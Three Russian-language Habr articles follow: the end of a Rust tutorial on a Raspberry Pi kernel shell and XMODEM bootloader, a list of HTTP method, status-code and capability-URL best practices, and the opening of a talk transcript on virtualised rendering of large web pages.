```
loop {
write_byte(read_byte())
write_str("<-")
}
```
Как только наш драйвер будет работать так, как от него ожидают — можно переходить к следующей подфазе.
### Субфаза E: The Shell
В этой подфазе мы будем использовать наш свеженький драйвер UART для реализации простенькой оболочки к нашей операционной системе. Основная работа ведётся в файлах `os/kernel/src/console.rs`, `os/kernel/src/shell.rs`и `os/kernel/src/kmain.rs`.
#### `Console`
Для того, чтоб написать шелл, нам понадобится что-то похожее на глобальный ввод/вывод по умолчанию. Unix и его друзья с родсвенниками предоставляют программам `stdin` и `stdout` для подобных целей. Мы будем использовать `Console` для наших скромных нужд. `Console` позволит нам реализовать макросы `kprint!` и `kprintln!`. Оные будут делать примерно то же самое, что и `print!` и `println!`. Только на уровне ядра. Наши макросы будут использовать `Console` для того, чтоб делать своё чорное дело.
Взгляните на `os/kernel/src/console.rs`. Файлик содержит в себе недописанную реализацию структуры `Console`. По сути это *синглтон*-обвязка вокруг `MiniUart`. Только один экземпляр консольки сущесвует в нашем ядре. При этом он доступен везде и всегда. Это всё позволит нам взаимодействовать с `MiniUart` без явной передачи экземпляра `MiniUart` или экземпляра `Console`.
#### Глобальная изменяемость
Понятие глобальной изменяемой структуры — довольно страшная, грязная и противная мысль. Особенно в контексте Rust. В конце концов Rust не допускает более одной изменяемой ссылки на какое либо значение. Как нам убедить его в использовании такого количесва, в котором мы имеем потребность? Тут есть один трюк, который полагается на `unsafe`. Идея такая: мы говорим Rust'y, что будем только читать значения, т.е. использовать неизменяемую ссылку, но на самом деле мы будем небезопастно преобразовывать эту "неизменяемую" ссылку в изменяемую. Мы можем создавать столько неизменяемых ссылок, сколько захотим. Rust не будет бить по нашим ручкам и всё такое. Выглядеть подобное может примерно так:
```
// Эта функция никогда не должна существовать!
fn make_mut(value: &T) -> &mut T {
unsafe { /\* чорная магия и сильное колдунство \*/ }
}
```
Это очень и очень плохая идея. Такое предложение Очень Опасно. Нам всё равно нужно будет обеспечивать, чтоб всё, что делается в `unsafe` секции следовало правилам Rust. То, что мы предолжили только что явно не следует правилам. По меньшей мере правило "не более одной мутабельной ссылки за раз". Т.е. в любой точке программмы значение должно иметь не более одной изменяемой ссылки. И никак иначе.
Для того, чтоб соблюсти это правило нам нужно следующее. Вместо того, чтоб компилятор проверял за нас эту всю фигню с заимствованиями нам надо обеспечить проверку этого динамически во время выполнения проги. В результате мы можем делиться ссылками на такую структуру столько раз, сколько хотим (через `&`). Ну и безопастно извлекать изменяемую ссылку, когда она нам на самом деле требуется (`&T -> &mut` со всякими необходимыми проверками).
Есть много конкретных реализаций этой идеи. Одна такая гарантирует, что только одна изменяемая ссылка существует, при помощи блокировки:
```
fn lock(value: &T) -> Locked<&mut T> {
unsafe { lock(value); cast value to Locked<&mut T> }
}
impl Drop for Locked<&mut T> {
fn drop(&mut self) { unlock(self.value) }
}
```
Эта штука называется [Mutex](https://doc.rust-lang.org/nightly/std/sync/struct.Mutex.html) и её можно найти в стандартной библиотеке. Другой способ — убивать программу, если будет создано более одной ссылки:
```
fn get_mut(value: &T) -> Mut<&mut T> {
unsafe {
if ref\_count(value) != 0 { panic!() }
ref\_count(value) += 1;
cast value to Mut<&mut T>
}
}
impl Drop for Mut<&mut T> {
fn drop(&mut self) { ref\_count(value) -= 1; }
}
```
Суть та же, что у [RefCell::borrow\_mut()](https://doc.rust-lang.org/nightly/std/cell/struct.RefCell.html#method.borrow_mut). Ну и ещё один вариант — вернуть мутабельную ссылочку только если известно, что она такая одна уникальная:
```
fn get_mut(value: &T) -> Option> {
unsafe {
if ref\_count(value) != 0 { None }
else {
ref\_count(value) += 1;
Some(cast value to Mut<&mut T>)
}
}
}
impl Drop for Mut<&mut T> {
fn drop(&mut self) { ref\_count(value) -= 1; }
}
```
Это соотвественно [RefCell::try\_borrow\_mut()](https://doc.rust-lang.org/nightly/std/cell/struct.RefCell.html#method.try_borrow_mut). Это всё были примеры реализации различных форм "внутренней мутабельности": они позволяют изменять неизменяемое. Для `Console` мы будем использовать `Mutex`. Поскольку для `std::Mutex` нам требуется поддержка со стороны операционной системы — у нас есть собсвенная реализация. С гейшами и го. Найти можно в файлике `kernel/src/mutex.rs`. На данный момент реализация вполне себе верная, но нам придётся подправить её, когда будем использовать кеширование или параллелизм, чтоб продолжать следовать правилам Rust. На данный момент нам не важны тонкости внутренностей `Mutex`, но важно понимать, как оно должно использоваться.
Итак. Глобальный синглтон объявлен как `CONSOLE` в `kernel/src/console.rs`. Эта глобальная переменная используется в макросах `kprint!` и `kprintln!`, определённых чуть ниже в файле. После того, как вы реализуете всё недостающее в `Console` — вы сможете эти самые макросы использовать для вывода информации через этот самый `Console`. Помимо этого можно использовать `CONSOLE` для глобального доступа к `Console`.
> **Rust помимо прочего также требует от статических глобальных переменных быть `Sync`.**
>
>
>
> Чтобы схоронить значение некого типа `T` в `static` переменной, этот тип `T` обязан реализовывать `Sync`. Это связано с тем, что Rust требует гарантий безопастности применительно к гонкам данных. Поскольку глобальные значения можно получать из любого потока, Rust должен гарантировать, что эти обращения потокобезопасны. Спецтрейты `Send` и `Sync`, также система владения Rust гарантируют отсутсвие гонок данных.
---
> \*\*Почему мы никогда не должны напрямую возвращать `&mut T`? [drop-container]
>
>
>
> Как можно заметить, каждый предоставленный пример оборачивает изменяемую ссылку в контейнер, который реализует `Drop`. Что может пойти не так, если мы можем отдавать `&mut T` напрямую?
---
> **Куда идёт вызов `write_fmt`?** [write-fmt]
>
>
>
> Вспомогательная функция `_print` вызывает `write_fmt` у экземпляра `MutexGuard` (который пришел из `Mutex::lock()`. Какой тип имеет метод `write_fmt` и откуда берётся реализация этого метода?
#### Реализация и тестирование `Console`
Реализуйте всё, что должно быть на месте `unimplemented!()` в файлике `kernel/src/console.rs`. После этого попробуйте макросы `kprint!` и `kprintln!` в действии, написав немного кода в `kernel/src/kmain.rs`, который будет выводить что либо после того, как вы приняли какой либо символ. Эти макросы используются тем же самым образом, что и `print!` и `println!`. Используйте `screen /dev/<имя-файла> 115200` для связи с малинкой.
> **Если бы мы писали на Няшном Си...**
>
>
>
> Мы получаем реализацию `println!` практически бесплатно и с нулевыми усилиями — ещё одно преимущество Rust. В Сишечке нам потребовалось бы самостоятельно реализовывать `printf`. В Rust нам предоставили общую, абстрактную, безопасную и независимую от ОС реализацию этого всего. Бонусом она ещё и быстрее работает. Неплохо, да? Я тоже так считаю.
---
> Подсказка: реализация методов для `Console` будут очень короткими: примерно по строке на каждую.
#### Реализация оболочки
Теперь у нас есть абсолютно всё необходимое для реализации встроенной оболочки. Работаем в файле `kernel/src/shell.rs`. Там уже есть структура `Command`. Метод `Command::parse()` предоставляет простой синтаксический анализатор аргументов командной строки и возвращает структуру `Command`. По сути `parse` разбивает переданную строку на пробелы и сохраняет все непустые аргументы в поле `args` как `StackVec`, используя `buf` в качесве хранилища. При этом вы должны реализовать `Command::path()` самостоятельно.
Используйте все уже написанные библиотеки (`Command`, `StackVec`, `Console` через `CONSOLE`, `kprint!`, `kprintln!` и всё, что сочтёте нужным помимо этого) для реализации функции `shell`. Наша оболочка должна печатать содержимое `prefix` каждый раз, когда будет ожидаться ввод. В приведённой выше гифке в качестве префикса используется `"> "`. Затем оболочка должна прочитать строку ввода от пользователя, проанализировать её как команду и выполнить. Это всё должно делаться ad-infinitum. Мы только начали пилить нашу операционку и пока не можем запускать интересные команды. Однако мы можем создать простенкие команды вроде `echo`.
Для того, чтоб быть завершенной наша оболочка должна:
* реализовывать встроенную команду `echo $a $b $c`, которая должна напечатать `$a $b $c`
* принимать символы `\r` и `\n` как нажатия `enter`, отмечая конец строки
* принимать backspace и delete (ASCII 8 и 127) для удаления одного символа
* звонить в колокольчик (ASCII 7), если переданы не обрабатываемые невидимые символы
* выводить `unknown command: $command` для всех несуществующих `$command`
* не позволять стирать префикс
* не позволять вводить больше символом, чем разрешено
* принимать команды длинной до 512 байт
* принимать до 64 аргументов на команду
* начинать новую строку без всяких ошибок и уже с `prefix`, если пользователь ввёл пустую команду
* выводить `error: too many arguments` если передано слишком много аргументов
Протестируйте `shell`. Вызовите нашу функцию из `kernel/src/kmain.rs`. Если не считать баннера с SOS, то взаимодействие с оболочкой должно быть похоже на то, что на гифке. Кроме того вам надо проверить все требования, которые мы предоставили. Как только оболочка заработает — наслаждайтесь достижениями. Затем можно перейти к следующему этапу.
> Подсказки:
>
>
>
> Байтовый литерал `b'a'` имеет тип `u8` и его код соответсвует символу `'a'`
>
>
>
> Используйте `\u{b}` в строковом литерале для печати любого символа с байтовым значением ASCII `b`
>
>
>
> Вы должны вывести и `\r` и `\n` символы для перевода строки
>
>
>
> Для того, чтоб стереть символ можно вывести backspace, затем пробел, затем снова backspace
>
>
>
> Используйте `StackVec` для пользовательского ввода
>
>
>
> Функция [std::str::from\_utf8](https://doc.rust-lang.org/nightly/std/str/fn.from_utf8.html) будет весьма и весьма полезна
---
> **Мы не используем реальный `std`!**
>
>
>
> Напомню, что мы используем кастомную пользовательскую реализацию `std` в нашем ядре. Реализация не полная. Для того, чтоб увидеть, что там есть можно выполнить `xargo doc --open` в директории `os/std`.
---
> **Как наша оболочка соединяет множество разных частей вместе?** [shell-lookback]
>
>
>
> Оболочка использует большую часть кода из написанного нами. Вкратце поясните, какие части она использует и каким образом.
Фаза 4: Загрузчик
-----------------
В этой фазе мы доиспользуем всё, что написали за эту часть для того, чтоб реализовать загрузчик для Raspberry Pi. Основной код пишем в `os/bootloader/src/kmain.rs`
Вы наверняка заметили, что монотонные движения при втыкании и вытыкании MicroSD-карточки *напрягают*. Загрузчик, который мы сейчас напишем, позволит нам сделать процесс более быстрым и приятным. Мы сможем оставить в покое карточку на том месте, куда всунули.
Сам загрузчик — это "ядро", которое принимает файлы, используя протокол XMODEM поверх UART. Он записывает полученные данные по известному адресу в памяти, а затем передаёт туда управление. Мы будем использовать нашу утилиту `ttywrite` для отправки двоичных файлов загрузчику. В результате процесс загрузки двоичных файлов для выполнения на малинке будет выглядеть таким образом:
* Сбросить питание у малинки для запуска загрузчика
* Выполнить`ttywrite -i имя-бинарника.bin /dev/<имя-устройсва>`
### Загрузка двоичных файлов
По умолчанию Raspberyy Pi 3 загружает файл с именем `kernel8.img` по адресу `0x80000`. Другими словами малинка последовательно, байт за байтом, копирует содержимое `kernel8.img` по `0x80000` и после некоторой инициализации устанавливает ARM'овский счётчик текущей команды (program counter) на `0x80000`. В результате мы должны убедиться, что наш бинарный файл будет загружен по этому адресу. Это означает, что все адреса в бинарнике должны начинаться с `0x80000`.
Этими вопросами занимается линкёр (linker, он же компоновщик). Ему мы должны сообщить наши пожелания. Для этих всех штук мы используем скрипт компоновщика: файлик, который наш линкёр читает. В нём мы описываем, как нам присваивать адреса различным символам в двоичном файле. Этот скриптик можно найти в виде файла с именем `os/kernel/ext/layout.ld` (у бутлоадера свой есть). Если открыть файлик, то можно заметить адрес `0x80000`. Строка эта как раз и указывает линкёру начинать выделение адресов с `0x80000`.
Для того, чтоб поддерживать совместимость с этим значением по умолчанию, наш загрузчик тоже должен загружать файлики по адресу `0x80000`. Но тут встаёт небольшая проблемка. Наш загрузчик тоже расположен начиная с адреса `0x80000`. Т.е. загрузка другого двоичного файла с тем же адресом приведёт к перезаписи нашего загрузчика прямо во время выполнения загрузчика! Нам надо избежать этого конфликта интересов. Для этого мы должны использовать разные начальные адреса для загрузчика и двоичных файлов. При этом мы не хотим менять стартовый адрес нашего ядра. Следовательно менять будем адрес загрузки загрузчика. Как?
### Создание пространсва
Во первых нам надо выбрать новый адрес. Если посмотреть на содержимое `os/bootloader/ext/layout.ld`, то можно заметить, что мы выбрали `0x4000000` в качестве начального адреса загрузчика. Это исправляет адреса в бинарнике, но сама малинка всё ещё будет загружать его по адресу `0x80000`. Впрочем мы можем попросить малинку загрузить бинирник и по другому адресу при помощи параметра `kernel_address` в файлике `config.txt`. Готовую версию этого файлика можно обнаружить по имени `bootloader/ext/config.txt`. Убедитесь, что вы используете этот файлик для загрузки загрузчика. Т.е. скопируйте его в корень MicroSD-карточки.
По итогам этого вся память между `0x80000` и `0x4000000` будет свободна и мы можем загрузить в это "окно" наше ядро.
> **Достаточно ли 63.5 мегабайт?** [small-kernels]
>
>
>
> Можно подумать, что места, которое мы освободили, будет недостаточно. Один из способов ответить на эту дилему — посмотреть на размер файлов с ядрами Больших И Успешных Операционных Систем. Вроде той, которую вы используете. Подойдут ли по размеру их ядра?
>
>
>
> Определите, насколько большой размер у файликов с ядром текущей вашей операционной системы. На новых версиях macOS их можно поискать где-то внутри `/System/Library/Kernels/kernel`. На старых в `/mach_kernel`. В Linux обычно где-то внутри `/boot/` и под названиями вроде `vmlinuz`, `vmlinux` или `bzImage`. На сколько большой файл вашего ядра? Войдёт ли оный в ограничение на 63.5 мегабайт?
### Реализация загрузчика
Реализовывать реализацию будем в файле `bootloader/src/kmain.rs`. Там уже объявлен начальный адрес загрузчика, адрес того, куда надо грузить и максимальный размер двоичного файла. Всё это в `const` верхней части файла. Помимо этого предоставлена функция `jump_to`, которая оборачивает безусловный переход по адресу `addr`. Тем самым мы можем установить счётчик команд в нужное нам значение. Загрузчик должен использовать всё это вместе с библиотекой `pi` и библиотекой `xmodem` для получения данных по UART, которые в свою очередь надо будет записать начиная с адреса памяти, по которому ожидается загрузка бинарника. Когда передача завершена, загрузчик должен выполнить наш бинарник.
Имейте ввиду, что загрузчик должен постоянно пытаться инициировать приём через XMODEM, установив при этом некоторый таймаут (например 750 милисекунд). А по истечению таймаута повторять попытку снова и снова. Если приём по каким либо причинам невозможен — следует распечатать сообщение об ошибке и снова повторить всё сначала. После того, как вы реализуете загрузчик — протестируйте его. Отправьте бинарник с ядром `os/kernel/build/kernel.bin` на малинку используя утилитку `ttywrite`. Если всё в порядке — вы увидите свою командную оболочку, когда подключаетесь к малинке при помощи `screen`.
> **Зачем нужен таймаут?** [bootloader-timeout]
>
>
>
> Без таймаута и повторных попыток передачи загрузчик может зависнуть на неопределённое время при некоторых условиях. Каковы эти условия и почему зависание будет бесконечным?
---
> Не забудьте использовать правильную версию `config.txt`, которая совместима с двоичными файлами загрузчика!
>
>
>
> Подсказки:
>
>
>
> Размер кода у `kmain()` будет около 15 строк кода.
>
>
>
> [std::slice::from\_raw\_parts\_mut](https://doc.rust-lang.org/nightly/std/slice/fn.from_raw_parts_mut.html) окажется весьма и весьма полезным.
>
>
>
> Тип `&mut [u8]` реализует `io::Write`.
**UPD** [следующая серия готова](https://habrahabr.ru/post/352414/) | https://habr.com/ru/post/351774/ | null | ru | null |
# 15 тривиальных фактов о правильной работе с протоколом HTTP
*Внимание! Реклама! Пост оплачен Капитаном Очевидность!*
Ниже под катом вы найдёте 15 пунктов, описывающих правильную организацию ресурсов, доступных по протоколу HTTP — веб-сайтов, «ручек» бэкенда, API и прочая. «Правильный» здесь означает «соответствующий рекомендациям и спецификациям». Большая часть ниженаписанного почти дословно переведена из официальных стандартов, рекомендаций и best practices от IETF и W3C.
[](http://habrahabr.ru/company/yandex/blog/265569/)
Вы не найдёте здесь абсолютно ничего неочевидного. Нет, серьёзно, **каждый** веб-разработчик теоретически эти 15 пунктов должен освоить где-то в районе junior developer-а и/или второго-третьего курса университета.
Однако на практике оказывается, что великое множество веб-разработчиков эти азы таки не усвоило. Читаешь документацию к иным API и рыдаешь. Уверен, что каждый читатель таки найдёт в этом списке что-то новое для себя.
1. URL идентифицирует ресурс — некоторую разделяемую сущность. Файл — ресурс. Ручка, которая что-то ищет — ресурс. Вызов метода — не ресурс. Если вы хотите шарахнуть из пушки по Луне, то вот так делать не надо:
```
GET /?method=шарахнуть&to=Луна
```
Заведите ресурс «шарахалка», и тогда у вас всё будет логично:
```
POST /шарахалка/?to=Луна
```
Почему POST, а не GET? Читай ниже.
2. URL состоит из схемы (протокола), хоста, пути (path), запроса (query) и фрагмента. Путь используется для организации иерархических ресурсов, запрос — для неиерархических ресурсов и для параметров операции. Фрагмент идентифицирует подчинённый ресурс, не имеющий прямого URL.
```
Scheme Host Path Query Fragment
↓ ↓ ↓ ↓ ↓
http://nyashnye-kotiki.xxx/breeds/maine-coon/?deliver_to=Moscow#photo
```
Если на вашем сайте «Няшные котики» есть каталог по породам, то его вполне логично организовать в виде частей path, поскольку каждый котик принадлежит ровно к одной породе. А вот доставлять одного котика можно в несколько городов, поэтому фильтр «с доставкой в город N» следует организовать через query.
3. Обращение по HTTP состоит из применения метода (глагола) к URL. Результатом такого применения должно быть — сюрприз-сюрприз! — то, что в глаголе написано. То есть GET возвращает представление ресурса, DELETE удаляет и т.п.
4. Методы GET, HEAD, OPTIONS — безопасные. Предполагается, что вызов этих методов состояния ресурса не изменяет. Поэтому многие сетевые агенты — такие, например, как префетчер ссылок в браузере или мессенджере — считают себя вправе по таким ссылкам ходить без явного волеизъявления пользователя. ИЧСХ, никаких стандартов не нарушают.
5. По умолчанию методы GET и HEAD кэшируются, OPTIONS, POST, PUT, PATCH, DELETE — нет. Поэтому если вы шарахнули по Луне методом POST, вы можете быть (почти) уверены, что этот запрос выполнится. Если вы шарахаете методом GET, какой-нибудь промежуточный прокси может ВНЕЗАПНО отдать вам ответ из кэша, и шарах в реальности не произойдёт.
6. Операции GET, PUT, DELETE симметричны. PUT кладёт нечто по URL-у (создавая новый ресурс или перезаписывая старый), GET по этому URL-у возвращает представление того, что положил PUT, DELETE удаляет ресурс.
Метод HEAD синонимичен по семантике методу GET, но не возвращает тело ответа, а только его заголовки (метаинформацию о ресурсе).
7. POST используется в том случае, если у вас нет URL, к которому вы хотите применить операцию. Например, если пользователь пишет новое сообщение в тредик на форуме, он может сам вычислить его id и сделать:
```
PUT /threads/php-rulezz/messages/100500
```
Если клиенту генерировать id не разрешено, ему придётся делать POST на ресурс уровнем выше по иерархии:
```
POST /threads/php-rulezz/messages
```
И этот ресурс сам создаст новое сообщение.
Обратите внимание, если вы по ошибке или вследствие сетевых проблем повторите POST запрос — создастся второе сообщение в треде, идентичное первому. PUT вы можете делать хоть 100500 раз, результат не изменится. Это свойство называется идемпотентностью.
Ладно создание постов на форуме. Вот если вы делаете тяжёлую и дорогую операцию по пользовательскому запросу — очень рекомендуется выполнять для этого идемпотентный запрос. А то может получиться как на картинке:
Разумеется, использование идемпотентного PUT порождает свои проблемы — в частности, как разрешать конфликты. Придётся больше программировать, зато результат будет более надёжным и безопасным.
8. PUT может использоваться как для создания новых ресурсов, так и для обновления старых. Однако в случае использования PUT для перезаписи предполагается, что в теле запроса передаётся закодированный ресурс целиком. Если же вы хотите *модифицировать* ресурс, т.е. изменить его внутреннее представление без полной перезаписи, то для этого был придуман метод PATCH. Этот метод некэшируемый, небезопасный и неидемпотентный.
9. Коды ответа нужны в первую очередь для того, чтобы клиент мог понять, что ему делать дальше. 3хх говорит, что для успешного выполнения запроса нужно выполнить дополнительное действие. 4хх говорит, что клиент, составляя запрос, сделал что-то неправильно и, обычно, о том, что умолять бесполезно — повторное выполнение запроса всё равно выкинет ошибку. В 4хх крайне рекомендуется включать информацию о том, что конкретно клиент сделал не так. 5хх говорит о том, что клиент всё сделал правильно — проблема на стороне сервера.
Обычно при успешном выполнении операции сервер отвечает на GET — 200, на PUT — 201 Created (если ресурс создан) или 200 (ресурс обновлён), на DELETE — 204 (операция успешна, возвращать нечего), на POST — 200 или 201 (во втором случае в заголовке, обычно Location, указывается URL созданного ресурса).
10. Работая с HTTP-статусами, не наступите на популярные грабли:
* статус 401 Unauthorized **обязан** сопровождаться заголовком WWW-Authenticate и, таким образом, применим только тогда, когда клиент аутентифицируется посредством HTTP-аутентификации; во всех остальных случаях следует использовать 403 Forbidden;
* статусы 3xx — это не только редиректы; они показывают, что клиент должен выполнить дополнительное действие, иначе запрос не может считаться успешным; например, по статусу 304 Not Modified клиент должен взять актуальную версию ресурса из кэша;
* статус 404, как ни странно, один из немногих 4xx статусов, которые клиент имеет право повторять — он означает, что ресурса сейчас нет, но вполне возможно, что он появится; вообще 404 — статус неопределённости, который используется, если сервер не хочет раскрывать механику ошибки; для того, чтобы индицировать клиенту, что без дополнительных действий с его стороны ресурс не появится, следует использовать 410 Gone (ресурс был удалён) либо общий статус 400.
11. Существует особый подкласс URL-ов, которые кодируют в себе и ресурс, и действие над ним. В англоязычной литературе их принято называть Capability URLs. Классический пример такого URL — ссылки на восстановление паролей, а также всевозможные «секретные» прямые ссылки на всяческие ресурсы.
12. Поскольку основная опасность при работе с Capability URL — возможность их утечки, следует максимально закрыть возможности случайно такой URL найти или перехватить:
* для генерации секретных частей URL должен использоваться сильный генератор случайных строк (например, [UUID 4](https://en.wikipedia.org/wiki/Universally_unique_identifier#Version_4_.28random.29)), исключающий возможности найти Capability URL перебором; разумеется, URL не должен генерироваться детерминированным способом типа md5(username) и такие URL нельзя пропускать через сокращатели ссылок;
* Capability URLs должны работать только по HTTPS;
* страницы, доступные через Capability URL, должны быть закрыты wildcard-ом от индексации роботами.
13. Должны быть предусмотрены меры минимизации возможного ущерба:
пользователь, создавший Capability URL (например, расшаривший документ), должен иметь возможность сделать обратную операцию, т.е. отозвать URL;
Capability URLs должны протухать со временем; чем опаснее предоставляемый доступ, тем короче должен быть срок жизни URL.
14. Наконец, сами «секретные» страницы должны быть защищены от сливания данных сторонним агентам:
* на них не должно быть никаких third-party скриптов и картинок, желательно — на уровне CSP;
* на них не должно быть ссылок на third-party сайты; если они необходимы, то нужно скрывать referrer, например, через rel=«noreferrer»;
* вообще желательно через Referrer Policy настроить скрытие referrer-а;
* желательно сразу после захода пользователя через History API менять URL в адресной строке браузера, чтобы его нельзя было подсмотреть через плечо;
* если ссылка предполагает какое-то действие (например, смену пароля), то на секретной странице должна быть форма (кнопка, скрипт), которую требуется отослать, чтобы действие осуществить, причём эта форма должно быть подписана CSRF-токеном (иначе префетчер браузера / почтового клиента / мессенджера сможет восстановить пароль за юзера).
15. Всё описанное выше существует в стандартах исключительно в форме рекомендации, и принудить кого-либо к строгому исполнению этих рекомендаций нельзя. Я уже не первый раз рассказываю про всю эту тривию, и часто слышу в ответ «да плевать я на всё это хотел, придумали какой-то ненужной ерунды; как у меня работали все сервисы только на GET, так и дальше будут, мучайтесь со своими PUT-ами и DELETE-ми сами».
Разумеется, вы вольны писать свой сервис сами. Но имейте, пожалуйста, в виду, что между вашим сервером и вашим клиентом, даже если они стоят физически рядышком в одном ДЦ, есть огромное множество других сетевых агентов — браузеров, прокси, роутеров, имплементаций HTTP-протокола в разных языках программирования и разных ОС, DPI-оборудование провайдеров и так далее. Все эти агенты плюс-минус имплементируют протокол HTTP с оглядкой на RFC.
Если вдруг клиентский браузер запрефетчит GET-ссылку и шарахнет по Луне — это будет ваша вина, бесполезно писать производителю. Если у вас деньги переводятся GET-запросом, а имплементация HTTP протокола в вашем языке программирования, не дождавшись ответа от соседнего роутера, решит повторить запрос и проведёт транзакцию дважды — это будет опять ваша вина.
Но даже не это главное. Допустим, ваши HTTP-пакеты гуляют в строго контролируемой среде. Как вы собираетесь объяснять другим разработчикам, какие рекомендации вы нарушили и почему? Как ваш коллега должен понять, что вот этот GET-запрос повторять нельзя, а статус 400 вовсе не означает клиентскую ошибку? Отступая от рекомендаций, вы, фактически, каждый раз создаёте какой-то свой диалект HTTP с собственной семантикой. Не забудьте его хотя бы задокументировать ;)
Список литературы:
* [www.rfc-editor.org/rfc/rfc2616.txt](https://www.rfc-editor.org/rfc/rfc2616.txt)
* [tools.ietf.org/html/rfc5789](https://tools.ietf.org/html/rfc5789)
* [www.w3.org/TR/webarch](http://www.w3.org/TR/webarch/)
* [w3ctag.github.io/capability-urls](https://w3ctag.github.io/capability-urls/)
(В разработке последнего документа ваш покорный слуга принимал определённое участие.) | https://habr.com/ru/post/265569/ | null | ru | null |
# Автоматическая виртуализация рендеринга произвольной вёрстки
Здравствуйте, меня зовут Дмитрий Карловский и я.. прибыл к вам из недалёкого будущего. Недалёкого, потому что там уже всё и все тормозят. Писец подкрался к нам незаметно: сначала перестали расти мощности компьютеров, потом пропускная способность сетей. А пользователи… они продолжали генерировать контент как не в себя. В итоге, за считанные годы UX интерфейсов деградировал настолько, что ими стало невозможно пользоваться и многие пользователи поспешили перейти на облачный стриминг своих браузеров, которые работают на суперкомпьютерах, принадлежащих корпорациям, которые не дают людям устанавливать на них блокировщики рекламы. Поэтому я пришёл к вам именно сейчас, в этот момент, когда проблема уже заметна, но ещё можно всё исправить, пока не стало слишком поздно.
Это - текстовая расшифровка выступления на [HolyJS'20 Moscow](https://holyjs-moscow.ru/). Вы можете либо [посмотреть видео запись](https://youtu.be/RHOnH1DDLlQ), либо [открыть в интерфейсе проведения презентаций](https://nin-jin.github.io/slides/virt/), либо [читать как статью](https://github.com/nin-jin/slides/blob/master/virt/readme.md)… Короче, где угодно лучше, чем на Хабре, ибо новый редактор плохо импортирует статьи..
Тяжёлое прошлое: Огромные списки задач
--------------------------------------
Сперва расскажу немного о своём опыте. Мой релевантный опыт начался с разработки огромных списков задач, состоящих из нескольких десятков тысяч задач. Они образовывали иерархию и имели довольно причудливый дизайн, что осложняло применение virtal scroll. А таких списков задач на экране могло быть десятки разом. И всё это в реальном времени обновлялось, дрегендропилось и анимировалось.
Рекламная пауза: Богатый редактор
---------------------------------
Так же я разрабатывал богатый, но компактный редактор текста, позволяющий множеству пользователей редактировать 200 страничные документы в реальном времени. У нас там применялся уникальный механизм синхронизации, минимизирующий конфликты, множество оригинальных UX решений и полностью кастомный виртуализированный рендеринг на холсте.
К сожалению, он пал жертвой коронавируса, так что если кто-то захочет поднять знамя и продолжить его разработку, то пишите мне - я сведу с нужными людьми. Нужно будет выкупить права и доработать под свои нужды.
Альтернативная линия времени: $mol
----------------------------------
Ну и, конечно, нельзя не упомянуть про разработанный мною фреймворк, обеспечивающий автоматическую виртуализацию. Который задоминировал всех конкурентов.. В альтернативной линии времени. Там у нас все хорошо и поэтому я пришёл к вам.
[mol.hyoo.ru](https://mol.hyoo.ru/#app=components)
Короче, съел я на теме виртуализации собаку, кошку, хорька, енота и даже морскую свинку. В общем, подкрепился как следует. Так что далее я расскажу вам как эффективно предоставлять пользователю огромные объёмы данных, почему вообще возникает такая необходимость, какие технологии нам с этим могут помочь, и почему React ведёт нас в тупик.
Типичный цикл разработки
------------------------
Типичный цикл разработки выглядит так:
* Написали код.
* Проверили в тепличных условиях.
* Пришли пользователи и всё заспамили.
* Оптимизировали.
* Пользователи всё не унимаются.
Мы уже взрослые ребята мы не пишем тяп-ляп и в продакшен. Теперь мы пишем код, проверяем его на тестовых данных, и если все хорошо, выкладываем в прод. Но тут приходят пользователи генерируют кучу контента и всё начинает тормозить. Тогда мы закатываем рукава и начинаем оптимизировать. Но приходят пользователи и генерят ещё больше контента и тормоза возвращаются вновь.
Наивный рендеринг: Скорость загрузки и Отзывчивость
---------------------------------------------------
Этот порочный круг приводит к таким вот последствиям:
Сейчас вы видите timeline загрузки и рендера двух с половиной тысяч комментариев. Скрипту требуется 50 секунд на формирование DOM, после чего ещё 5 секунд нужно браузеру чтобы рассчитать стили, лейаут и дерево слоёв.
И это не картинка из будущего. Это самое натуральное настоящее. Замечу, что это хоть и мобильная версия, но открытая на ноуте. На мобилке все куда печальнее.
Наивный рендеринг: Потребление памяти
-------------------------------------
Если мы заглянем на вкладку "память" то заметим, что такая страница потребляет аж гигабайт.
На моем телефоне (потряхивает своим тапком) её меньше 3 гигов. И я думаю не надо объяснять откроется ли она у меня вообще. Тут мы плавно переходим к следующему риску..
Наивный рендеринг: Риск неработоспособности
-------------------------------------------
Если мы не влезаем по памяти, то приложение может закрыться. Причём может закрыть не одно, а утянуть с собой ещё несколько. А даже если не закроется, то чем больше приложение, тем дольше оно грузится. А чем дольше грузится, тем выше риск, что соединение оборвётся и всё придётся начинать заново. Ну либо довольствоваться первыми 4 комментариями из двух с половиной тысяч - реальная ситуация на моей мобилке.
* Не влезли по памяти - приложение закрывается.
* Обрыв соединения - страница обрывается.
* Браузер может заглючить на больших объёмах.
Наивный рендеринг: Резюме
-------------------------
Короче, если мы продолжим разрабатывать наши интерфейсы в том же духе, то неизбежно возникнут проблемы с медленной загрузкой, плохой отзывчивостью, засиранием памяти, а то и вообще падениями на ровном месте.
* Медленная загрузка.
* Плохая отзывчивость.
* Высокое потребление памяти.
* Риск неработоспособности.
Первый подопытный: Статья на Хабре
----------------------------------
Недавно я опубликовал статью, где рассказывал как можно ускорить [Хабр](https://habr.com) раз в десять, отказавшись от SSR.
[Вырезаем SSR и ускоряем Хабр в 10 раз](https://habhub.hyoo.ru/#author=nin-jin/repo=HabHub/article=34)
И там я собственно разобрал пример переписывания страницы дерева комментариев с применением виртуализации.
<https://nin-jin.github.io/habrcomment/#article=423889>
Второй подопытный: Ченьжлог на GitLab
-------------------------------------
На сей раз мы разберём новый кейс - страница коммита на GitLab.
Я просто взял второй попавшийся коммит в первом попавшемся репозитории. Это всего порядка 5 тысяч строк в 100 файлах. Казалось бы - совсем не много. Однако, грузится всё довольно долго. Сначала 10 секунд ждём ответа сервера, потом ещё пол минуты любуемся мёртвыми кусками кода без подсветки синтаксиса. Короче, приходится ждать почти минуту, прежде чем приложением становится возможно пользоваться.
Перенос рендеринга HTML на сервер
---------------------------------
Что ж, давайте откроем таймлайн и увидим там следующую картину.
Пол минуты HTML выдаётся браузеру. Обратите внимание что она вся фиолетовая. Это значит что каждый раз, когда браузер получает очередной чанк HTML и подкрепляет его в документ, то пересчитывает стили, лейаут и дерево слоёв. А это весьма не быстрый процесс. И чем больше DOM, тем медленнее он становится.
Наконец, подключаются скрипты и сравнительно быстро добавляют к коду подсветку синтаксиса. Но чтобы переварить такое массовое изменение огромного дерева, браузеру требуется потом ещё целых 3 секунды непрерывной работы.
Страдания Ильи Климова по GitLab-у
----------------------------------
